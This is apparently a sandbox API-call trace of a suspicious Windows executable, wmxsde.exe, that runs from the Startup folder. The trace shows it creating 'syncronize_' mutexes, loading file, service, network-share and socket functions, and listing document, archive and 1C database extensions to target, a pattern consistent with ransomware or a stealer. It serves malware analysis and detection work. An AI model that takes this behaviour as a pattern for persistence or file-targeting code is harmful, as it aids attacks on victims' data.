0x1bebb9c6e90 [0066.159] _get_osfhandle (_FileHandle=1) returned 0x254 [0066.159] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0066.159] _get_osfhandle (_FileHandle=0) returned 0x248 [0066.159] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0066.159] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x58ed8ff410*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x58ed8ff3e8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x58ed8ff3e8*(hProcess=0x98, hThread=0x94, dwProcessId=0x4a0, dwThreadId=0x770)) returned 1 [0067.046] CloseHandle (hObject=0x94) returned 1 [0067.046] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.046] GetProcessHeap () returned 0x1bebb9c0000 [0067.046] RtlFreeHeap (HeapHandle=0x1bebb9c0000, Flags=0x0, BaseAddress=0x1bebb9c8500) returned 1 [0067.046] GetEnvironmentStringsW () returned 0x1bebb9c84c0* [0067.046] GetProcessHeap () returned 0x1bebb9c0000 [0067.046] RtlAllocateHeap (HeapHandle=0x1bebb9c0000, Flags=0x8, Size=0xacc) returned 0x1bebb9d9520 [0067.046] FreeEnvironmentStringsA (penv="=") returned 1 [0067.046] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0067.046] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0067.046] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x58ed8fe8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x58ed8fe8e8, ReturnLength=0x0) returned 0x0 [0067.046] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xcafe8d4000, lpBuffer=0x58ed8fe920, nSize=0x7a0, lpNumberOfBytesRead=0x58ed8fe8e0 | out: lpBuffer=0x58ed8fe920*, lpNumberOfBytesRead=0x58ed8fe8e0*=0x7a0) returned 1 [0067.048] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) Thread: id = 24 os_tid = 0xdb4 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x3f4e3000" os_pid = "0xf8c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7a4" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xf80 Thread: id = 10 os_tid = 0xf78 Thread: id = 11 os_tid = 0xd7c Thread: id = 22 os_tid = 0x4a8 Thread: id = 23 os_tid = 0xe00 Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0xc024000" os_pid = "0x4a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x7a4" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x770 Thread: id = 26 os_tid = 0xf9c Process: id = "5" image_name = "wmxsde.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\wmxsde.exe" page_root = "0x2eb8b000" os_pid = "0xdd8" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\wmxsde.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xddc [0154.539] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x771e0000 [0154.539] GetProcAddress (hModule=0x771e0000, lpProcName="GetProcAddress") returned 0x771f51b0 [0154.539] GetProcAddress (hModule=0x771e0000, lpProcName="GetModuleHandleW") returned 0x771f50d0 [0154.539] GetProcAddress (hModule=0x771e0000, lpProcName="FindNextFileW") returned 0x7724ee40 [0154.539] GetProcAddress (hModule=0x771e0000, lpProcName="FindClose") returned 0x7724ed70 [0154.539] GetProcAddress (hModule=0x771e0000, lpProcName="MoveFileW") returned 0x7722e500 [0154.539] GetProcAddress (hModule=0x771e0000, lpProcName="GetFileSizeEx") returned 0x7724ef40 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetModuleFileNameW") returned 0x771f5090 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetFileAttributesW") returned 0x7724ef10 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="ExitProcess") returned 0x771f3cb0 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetCommandLineW") returned 0x771f4cc0 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetComputerNameW") returned 0x772232c0 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetComputerNameA") returned 0x77223780 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="CreateMutexW") returned 0x7724eb70 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="lstrlenW") returned 0x771f6c70 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="lstrlenA") returned 0x771f6c50 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetCurrentProcess") returned 0x7724ea10 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="WaitForSingleObject") returned 0x7724eca0 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetLogicalDrives") returned 0x771f0d20 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="GetTickCount") returned 0x7724dd50 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="DeleteFileW") returned 0x7724ed40 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="WideCharToMultiByte") returned 0x771f6b10 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7724ebb0 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="Sleep") returned 0x771f6760 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="LeaveCriticalSection") returned 0x778bb250 [0154.540] GetProcAddress (hModule=0x771e0000, lpProcName="ReadFile") returned 0x7724f090 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="CreateFileW") returned 0x7724ed10 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="OpenMutexW") returned 0x7724ebf0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="EnterCriticalSection") returned 0x778bb2d0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="WaitForMultipleObjects") returned 0x7724ec80 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="lstrcmpiW") returned 0x771f6bf0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="lstrcmpiA") returned 0x771f6bd0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="DeleteCriticalSection") returned 0x7789fb90 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="ReleaseMutex") returned 0x7724ec20 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="CloseHandle") returned 0x7724eab0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="GetVersion") returned 0x771f56c0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="CreateThread") returned 0x771f46b0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="ExpandEnvironmentStringsW") returned 0x771f4a40 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="QueryPerformanceCounter") returned 0x771f5da0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="QueryPerformanceFrequency") returned 0x771f5dc0 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="GetCurrentProcessId") returned 0x7724ea20 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="SetFileAttributesW") returned 0x7724f100 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="GetVolumeInformationW") returned 0x7724f020 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="WriteFile") returned 0x7724f180 [0154.541] GetProcAddress (hModule=0x771e0000, lpProcName="SetFilePointerEx") returned 0x7724f130 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="SetEndOfFile") returned 0x7724f0e0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="FindFirstFileW") returned 0x7724edf0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="GetProcessHeap") returned 0x771f51f0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="HeapReAlloc") returned 0x778af630 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="HeapAlloc") returned 0x778b2dc0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="HeapFree") returned 0x771f57f0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="CreatePipe") returned 0x771f4590 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="SetHandleInformation") returned 0x7724eae0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="CreateProcessW") returned 0x771f4610 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="CompareStringW") returned 0x771f4430 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="CompareStringA") returned 0x771f4410 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="OpenProcess") returned 0x771f5cc0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="TerminateProcess") returned 0x771f67e0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="GetSystemTime") returned 0x771f54e0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="SystemTimeToFileTime") returned 0x771f67a0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="GetLastError") returned 0x771f5010 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="CreateToolhelp32Snapshot") returned 0x7722edc0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="Process32NextW") returned 0x7722f8f0 [0154.542] GetProcAddress (hModule=0x771e0000, lpProcName="Process32FirstW") returned 0x7722f750 [0154.543] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74580000 [0154.961] GetProcAddress (hModule=0x74580000, lpProcName="RegOpenKeyExW") returned 0x7459e580 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="RegQueryValueExW") returned 0x7459e5a0 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="RegSetValueExW") returned 0x7459f530 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="RegCloseKey") returned 0x7459ed60 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="OpenProcessToken") returned 0x7459efb0 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="GetTokenInformation") returned 0x7459ee90 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="OpenSCManagerW") returned 0x745a0540 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="OpenServiceW") returned 0x7459fa20 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="CloseServiceHandle") returned 0x7459fc00 [0154.962] GetProcAddress (hModule=0x74580000, lpProcName="ControlService") returned 0x745b26d0 [0154.963] GetProcAddress (hModule=0x74580000, lpProcName="QueryServiceStatus") returned 0x745a2380 [0154.963] GetProcAddress (hModule=0x74580000, lpProcName="EnumDependentServicesW") returned 0x745b2f70 [0154.963] GetProcAddress (hModule=0x74580000, lpProcName="EnumServicesStatusExW") returned 0x7459fc80 [0154.963] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75f20000 [0155.502] GetProcAddress (hModule=0x75f20000, lpProcName="SystemParametersInfoW") returned 0x75f4f210 [0155.502] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74ae0000 [0156.616] GetProcAddress (hModule=0x74ae0000, lpProcName="ShellExecuteExW") returned 0x74c44730 [0156.617] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77870000 [0156.617] GetProcAddress (hModule=0x77870000, lpProcName="NtQuerySystemInformation") returned 0x778e2070 [0156.617] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74270000 [0156.632] GetProcAddress (hModule=0x74270000, lpProcName="WNetCloseEnum") returned 0x74272640 [0156.632] GetProcAddress (hModule=0x74270000, lpProcName="WNetOpenEnumW") returned 0x74272790 [0156.632] GetProcAddress (hModule=0x74270000, lpProcName="WNetEnumResourceW") returned 0x74272410 [0156.632] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76cc0000 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="WSAStartup") returned 0x76cc5b40 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="socket") returned 0x76cd4510 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="send") returned 0x76cc5030 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="recv") returned 0x76cd0c50 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="connect") returned 0x76cc5410 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="closesocket") returned 0x76cd0910 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="gethostbyname") returned 0x76cf6cb0 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="inet_addr") returned 0x76cd9160 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="ntohl") returned 0x76cc49d0 [0156.682] GetProcAddress (hModule=0x76cc0000, lpProcName="htonl") returned 0x76cc49d0 [0156.683] GetProcAddress (hModule=0x76cc0000, lpProcName="htons") returned 0x76cd8ff0 [0156.683] GetProcessHeap () returned 0x710000 [0156.683] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x71b130 [0156.683] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=7412827910) returned 1 [0156.684] GetTickCount () returned 0x1216d [0156.684] GetCurrentProcessId () returned 0xdd8 [0156.686] GetTickCount () returned 0x1216d [0156.686] GetTickCount () returned 0x1216d [0156.686] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x71ae38 [0156.686] GetVersion () returned 0x23f00206 [0156.686] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x7) returned 0x726ef0 [0156.686] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x727dc0 [0156.686] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727dc0, Size=0x20) returned 0x71ae60 [0156.686] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x71ae60, Size=0x40) returned 0x727348 [0156.686] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x72d578 [0156.687] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41A") returned 0x0 [0156.687] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_8B9U41A") returned 0x1ec [0156.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726ef0 | out: hHeap=0x710000) returned 1 [0156.687] lstrlenW (lpString="Global\\syncronize_") returned 18 [0156.687] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727348 | out: hHeap=0x710000) returned 1 [0156.687] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x7) returned 0x726e20 [0156.687] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x727dd8 [0156.687] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727dd8, Size=0x20) returned 0x71ae60 [0156.687] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x71ae60, Size=0x40) returned 0x7276a8 [0156.687] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x73d580 [0156.688] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41U") returned 0x0 [0156.688] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_8B9U41U") returned 0x1f0 [0156.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x726e20 | out: hHeap=0x710000) returned 1 [0156.688] lstrlenW (lpString="Global\\syncronize_") returned 18 [0156.688] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7276a8 | out: hHeap=0x710000) returned 1 [0156.688] GetVersion () returned 0x23f00206 [0156.688] GetCurrentProcess () returned 0xffffffff [0156.688] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0156.688] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0156.688] CloseHandle (hObject=0x1f4) returned 1 [0156.688] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x726198 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x727f58 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727f58, Size=0x20) returned 0x71ae60 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x71ae60, Size=0x40) returned 0x7278e8 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7278e8, Size=0x80) returned 0x7226c8 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7226c8, Size=0x100) returned 0x727c00 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x34) returned 0x72a188 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726e20 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726e40 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726ef0 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x727ec8 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726d50 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x727ee0 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726d50, Size=0x8) returned 0x726da0 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x727ef8 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726da0, Size=0x10) returned 0x727dc0 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x727f58 [0156.688] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x727f70 [0156.688] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727dc0, Size=0x20) returned 0x71ae60 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x727f88 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x727dc0 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726e20, Size=0x8) returned 0x726d50 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726e40, Size=0x8) returned 0x726d60 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726e20 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x727dd8 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726e40 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x727e08 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726e40, Size=0x8) returned 0x726d70 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728090 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726d70, Size=0x10) returned 0x7280f0 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728108 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726d70 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7280f0, Size=0x20) returned 0x74d720 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726d50, Size=0x10) returned 0x7280a8 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726d60, Size=0x10) returned 0x7280c0 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726d50 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x728120 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726e40 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728060 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726e40, Size=0x8) returned 0x726d60 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x726da0 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7280f0 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x726e40 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x728078 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x726e40, Size=0x8) returned 0x74dea0 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7280a8, Size=0x20) returned 0x74d8b0 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7280c0, Size=0x20) returned 0x74d6f8 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8) returned 0x74df80 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7280a8 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x74ded0 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xa) returned 0x7280c0 [0156.689] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ded0, Size=0x8) returned 0x74de40 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x726178 [0156.689] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x726258 [0156.689] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0156.689] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x727c00 | out: hHeap=0x710000) returned 1 [0156.690] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7280d8 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7280d8, Size=0x20) returned 0x74d658 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d658, Size=0x40) returned 0x7277c8 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7277c8, Size=0x80) returned 0x7281f8 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7281f8, Size=0x100) returned 0x7526f8 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7280d8 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7280d8, Size=0x20) returned 0x74d838 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74d838, Size=0x40) returned 0x727780 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x727780, Size=0x80) returned 0x7281f8 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7281f8, Size=0x100) returned 0x752800 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x7280d8 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x74df20 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x752a58 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74df20, Size=0x8) returned 0x74dfb0 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x726118 [0156.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74dfb0, Size=0x10) returned 0x752bf0 [0156.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x7262f8 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74d9c8 [0156.695] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752bf0, Size=0x20) returned 0x74d860 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c) returned 0x74d838 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x16) returned 0x7261b8 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1a) returned 0x74d748 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xc) returned 0x752aa0 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x4) returned 0x74de80 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x40) returned 0x7278e8 [0156.695] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74de80, Size=0x8) returned 0x74df40 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x3c) returned 0x727978 [0156.695] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74df40, Size=0x10) returned 0x752b60 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x14) returned 0x726138 [0156.695] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x18) returned 0x7261f8 [0156.695] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x752b60, Size=0x20) returned 0x74d888 